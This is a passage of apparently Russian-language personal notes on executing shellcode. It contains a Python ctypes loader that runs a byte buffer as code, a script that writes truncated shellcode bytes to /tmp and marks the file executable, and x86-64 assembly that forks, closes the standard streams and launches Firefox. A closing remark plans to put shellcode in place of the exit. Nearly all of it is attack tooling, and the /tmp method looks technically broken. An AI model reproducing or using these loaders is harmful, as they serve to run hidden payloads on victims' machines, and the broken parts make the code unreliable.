    function = ctypes.CFUNCTYPE(ctypes.c_void_p)(ctypes.addressof(ctypes_buffer))
    
    # Выполняем
    function()

if __name__ == "__main__":
    print("Executing shellcode...")
    execute_shellcode(buf)
    print("End executing.")

Подпроцесс (проверить)

#!/usr/bin/env python3
import subprocess
import sys

def create_and_execute():
    # Шеллкод
    shellcode = b"\x6a\x29\x58\x99..."  # ваш шеллкод здесь
    
    # Создаем временный файл
    with open("/tmp/shellcode.bin", "wb") as f:
        f.write(shellcode)
    
    # Делаем исполняемым и запускаем
    subprocess.run(["chmod", "+x", "/tmp/shellcode.bin"])
    print("Shellcode saved to /tmp/shellcode.bin")
    
    # Запускаем (раскомментируйте для выполнения)
    # subprocess.run(["/tmp/shellcode.bin"])

if __name__ == "__main__":
    create_and_execute()

Запуск приложения изолировано от консоли 

section .data
    browser db '/usr/bin/firefox', 0
    url db 'https://irk.ru', 0
    argv dq browser, url, 0

section .text
    global _start

_start:
    ; fork()
    mov rax, 57
    syscall
    cmp rax, 0
    jnz exit_parent

    ; --- Дочерний процесс ---

    ; закроем stdin/out/err
    mov rax, 3
    xor rdi, rdi
    syscall
    mov rdi, 1
    mov rax, 3
    syscall
    mov rdi, 2
    mov rax, 3
    syscall

    ; вычисляем адрес envp
    mov rbx, rsp          ; начало стека
    mov rcx, [rbx]        ; argc
    lea rdx, [rbx + 8]    ; указывает на argv[0]

.skip_argv:
    cmp qword [rdx], 0
    lea rdx, [rdx + 8]
    jne .skip_argv        ; пропускаем все argv

    ; теперь rdx указывает на envp[0]

    ; execve("/usr/bin/firefox", argv, envp)
    mov rax, 59
    mov rdi, browser
    mov rsi, argv
    syscall

    ; если не сработал execve
    mov rax, 60
    mov rdi, 1
    syscall

exit_parent:
    mov rax, 60
    xor rdi, rdi
    syscall

Теперь попробуем добавить вместо выхода шелл-код.

dd